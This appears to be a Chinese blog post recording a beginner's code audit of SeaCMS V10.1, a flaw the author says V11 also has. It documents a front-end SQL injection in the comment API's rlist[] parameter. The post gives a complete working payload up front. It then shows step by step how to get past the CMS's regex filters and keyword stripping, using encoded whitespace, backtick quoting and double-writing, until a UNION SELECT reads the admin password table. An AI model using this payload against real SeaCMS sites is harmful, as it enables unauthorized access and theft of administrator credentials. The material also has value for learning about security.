海洋 CMS 代码审计过程分析
最近在学代码审计,但总是学了忘,所以把思路步骤全写下来,便于后期整理。这次审计的是 seacmsV10.1,但是审完返现 V11 也有同样的漏洞。先放 payload:
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)//@**@`'`**//UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
代码审计不知道该如何入手,所以去看了 cnvd,在 cnvd 上看到 seacms10.1 有个前台注入,于是尝试分析了一波,全部弄完发现作者发布了最后一版
更新日期:2020 年 06 月 08 日 v11 更新新域名 https://www.seacms.org 以后不再更新,从此山高水长,有缘再见。
至于 V11,一模一样的漏洞,这次标题完全可以改成 seacmsV0.1&V11 前台注入漏洞。
过程
用 seay 源代码审计系统先看看哪些地方容易出现注入,但内容太多了,因为看到的是前台 sql 注入,于是在审计时把admin
目录下的内容全删除了,内容太多,所以先分析select
,在弄其他的。
入口点分析:
之前分析过 6.45-6.55 的代码执行,所以轻易找到处理传参的地方/include/common.php
:
作者为了避免之前的变量覆盖对所有我能想到的传参方式都做了匹配,GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION
。
//检查和注册外部提交的变量
$jpurl='//'.$_SERVER['SERVER_NAME'];
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
{
Header("Location:$jpurl");
exit('err1');
}
}
输出报错从err0
写道err7
。
随便构造个语句,比如?di=1 union select
看看防护在哪。注:语句瞎写的,用来找防护在哪。
根据报错搜索全文
在Upload/include/webscan/webscan.php
有对get post cookie
输入的内容拦截,get
拦截内容如下:
//get拦截规则
$getfilter = "\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmarks*?(.*)|sleeps*?(.*)|\b(group_)?concat[\s\/\*]*?\([^\)]+?\)|bcase[s/*]*?when[s/*]*?([^)]+?)|load_files*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|s+?[\w]+?\s+?\bin\b\s*?(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)|UPDATEs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
其中UNION.+?SELECT
在印象中可以使用正则逃逸解决,即空格可以使用%2d%2d%0a
、%23%0a
之类的代替,构造?id=1%2d%2d%0aunion%2d%2d%0aselect%2d%2d%0a1,2,3
。
虽然不知道能不能用,最起码检测过去了。
解下来看看有哪些地方执行了sql语句
,在seay
没跑完的时候,已经出来一堆了相关语句了。
感觉看完头肯定会很凉,而且我代码很菜,sql语句也很菜,所以先尝试去看看和select
相关的地方。
访问Upload/member.php
if($mod=='repsw2'){
require_once('data/admin/smtp.php');
if($smtppsw=='off'){showMsg("抱歉,系统已关闭密码找回功能!","index.php",0,100000);exit();}
if(empty($repswname)){{showMsg("请输入账户名称!","-1",0,3000);exit();}}
$row=$dsql->GetOne("select * from sea_member where username='$repswname'");
在这个地方看到了select
, 通读得知在找回密码时会到这里,访问
无法访问,修改Upload/data/admin/smtp.php
内$smtppsw = "on"
,断点追踪,发现在Upload/include/sql.class.php
内会有检查;
//SQL语句安全检查
$sql=CheckSql($sql);
里面一堆东西,穿个语句试试,构造test%2d%2d%0aunion%2d%2d%0aselect%2d%2d%0a1,2,3,执行的过程很神奇,我在sql=CheckSql(sql);后输出了
直接构造test' and updatexml(1,0x7e,1)#
报错
定位错误,发现错误在CheckSql();
内,研究发现
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string,$querytype='select')
也就是说只要能过了检测,那语句就是想怎么玩怎么玩了。网上百度的是用@`'`sql语句#'
来绕过防护。这个地方是字符型传参,所以前面加个'
闭合,根据网上的教程,构造
@`%27`@`%27`and%20updatexml(1,0x7e,1)#'
这样危险字符会被转成s,从而绕过后面的检查,但是结果了出现了ss
而在代码中有这么个判断:
if (stripos($clean, '@') !== FALSE OR stripos($clean,'char(')!== FALSE OR stripos($clean,'script>')!== FALSE OR stripos($clean,'<script')!== FALSE OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
……
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$errorrn");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
根据代码可知,只要有ss就会中断执行。
后面试了很多方法,都不行,各位有好方法还请赐教。而且页面试了其他地方的,也不行,很多参数都是直接读取的,没法控制。
换一个地方,找一个数字型的地方试试。
查看Upload/comment/api/index.php
文件,用到select
的地方只有 4 个,待会儿挨个查看。
开头gid page
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
根据代码构造?gid=1&page=2&rtype=1
,注意page<2
会中断运行,断点追踪执行过程
发现经过上述 4 条语句中的前两条,尝试使用 16 进制做判断,测试了很多方法,用了好久都不行,后来直接在数据库里构造也没弄出合适的语句
只能接着往下看了。接下来是
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC";
里面有两个参数type和ids,查看
梳理下过程,函数运行到 18 行h = ReadData(id,page);之后,在第 19 行开始赋值rlist = array();,一路运行到 24 行die(h);重新运行h = ReadData(id,page);此时
在函数ReadData
中
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
在id>0时首先执行page,ret[4]);,而在函数Readmlist中对
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
这里把一些符号做了过滤,接着执行x = implode(',',rlist);,当x不为空则执行ret[1] = Readrlist(
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) AND ischeck=1 ORDER BY id DESC";
根据之前的内容分析,只要满足id>0
且$page不小于2
,构造类似rlist[]=1234)sql语句
便可以执行语句。考虑到之前的拦截,尝试构造了
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`'`union%2d%2d%0aselect%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
报错如下
全局搜索,在Upload/include/sql.class.php
中
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@.-]{1,}";
//$notallow2 = "--|/*";
if(m_eregi($notallow1,$db_string)){exit('SQL check');}
if(m_eregi('<script',$db_string)){exit('SQL check');}
if(m_eregi('/script',$db_string)){exit('SQL check');}
if(m_eregi('script>',$db_string)){exit('SQL check');}
if(m_eregi('if:',$db_string)){exit('SQL check');}
if(m_eregi('--',$db_string)){exit('SQL check');}
if(m_eregi('char(',$db_string)){exit('SQL check');}
if(m_eregi('*/',$db_string)){exit('SQL check');}
}
不允许有小写的union
和select
,重新构造
没执行,但是没有报拦截,断点追踪,看看语句
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`'`UNION--
SELECT#
1,2,3,4,5,6,7,8,9,10,11#
from#
sea_admin-- ') AND ischeck=1 ORDER BY id DESC
分析可知,多了个单引号,这个单引号虽然有助于绕过 80sec 防注入,但是在数据库里会出问题,尝试注释搞掉它 因为有过滤,所以试着用下面的方式进行注释
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/`@`*`@`'`@`*`@`/`UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
追踪日志执行的语句为
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`/``*``'``*``/`UNION--
SELECT#
1,2,3,4,5,6,7,8,9,10,11#
from#
sea_admin-- ') AND ischeck=1 ORDER BY id DESC
同样不行,也尝试过构造
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/*`@`'`@`*/`UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
报错
其实这时候说明成功构造了出了/**/
,只不过被拦截了,使用@
插在/
和*
中间打破正则,构造
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`/@*`@`'`@`*/`UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
结果没报错,查看日志发现构造的注释没有了
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)```'```UNION--
SELECT#
1,2,3,4,5,6,7,8,9,10,11#
from#
sea_admin-- ') AND ischeck=1 ORDER BY id DESC
这个是因为之前的那个过滤
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
双写绕过试试,构造
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)@`//@**`@`'`@`**//`UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
结果如下
查看日志
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (1)`/*``'``*/`UNION--
SELECT#
1,2,3,4,5,6,7,8,9,10,11#
from#
sea_admin-- ') AND ischeck=1 ORDER BY id DESC
狗血的是我在数据库里调试时把注释两头的点去掉就能用了
`/*``'``*/`
改成
/*`'`*/
而两头的点只要把之前构造的语句换成
/comment/api/index.php?gid=1&page=2&type=1&rlist[]=1)//@**@`'`**//UNION--%0ASELECT%23%0A1,2,3,4,5,6,7,8,9,10,11%23%0Afrom%23%0Asea_admin-- '
就可以了,如下图
查个密码
总结
作为一个总是记不住各种函数的小萌新,整个过程总结下来,不过是:
1、在找到负责执行的语句
2、找到输入的地方,构造相应的传参
3、追踪过程,根据报错找到拦截的地方,思考绕过的方式
4、构造能顺利执行的语句,反推如何输入
这是我学代码审计的第二周,也是我审计的第三个 cms, 在这过程中深刻体会到一句话: 漏洞的本质在于输入和输出的控制, 道阻且长,代码多不胜数,慢慢记吧。
- 性能测试必备监控技能linux篇14
- JMeter函数和变量11
- JMeter监听器10
- JMeter处理器09
- 保存带有emoji的文本报错解决方案
- Python:set集合、深浅拷贝与函数
- Python:numpy总结(4)
- Python: numpy总结(2)
- class 类—老司机的必修课 | 统计师的Python日记 第11课
- Python:matplotlib
- Python: matplotlib安装
- Java后端实现图片压缩技术(赞赏功能已开通,欢迎测试,噗~!)
- 我是如何得知10W+的访问量多来自工作日的 | 塔秘
- 使用百度UMeditor富文本编辑器,修改自定义图片上传,修改源码
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- JS操作XML中DTD介绍及使用方法分析
- PHP设计模式之迭代器(Iterator)模式入门与应用详解
- PHP FileSystem 文件系统常用api整理总结
- laravel框架之数据库查出来的对象实现转化为数组
- php apache开启跨域模式过程详解
- laravel5.6实现数值转换
- python中return不返回值的问题解析
- php装饰者模式简单应用案例分析
- php常用日期时间函数实例小结
- PHP超级全局变量【$GLOBALS,$_SERVER,$_REQUEST等】用法实例分析
- 基于laravel缓冲cache的用法详解
- Python使用sys.exc_info()方法获取异常信息
- laravel通用化的CURD的实现
- Laravel修改验证提示信息为中文的示例
- PHP+redis实现微博的推模型案例分析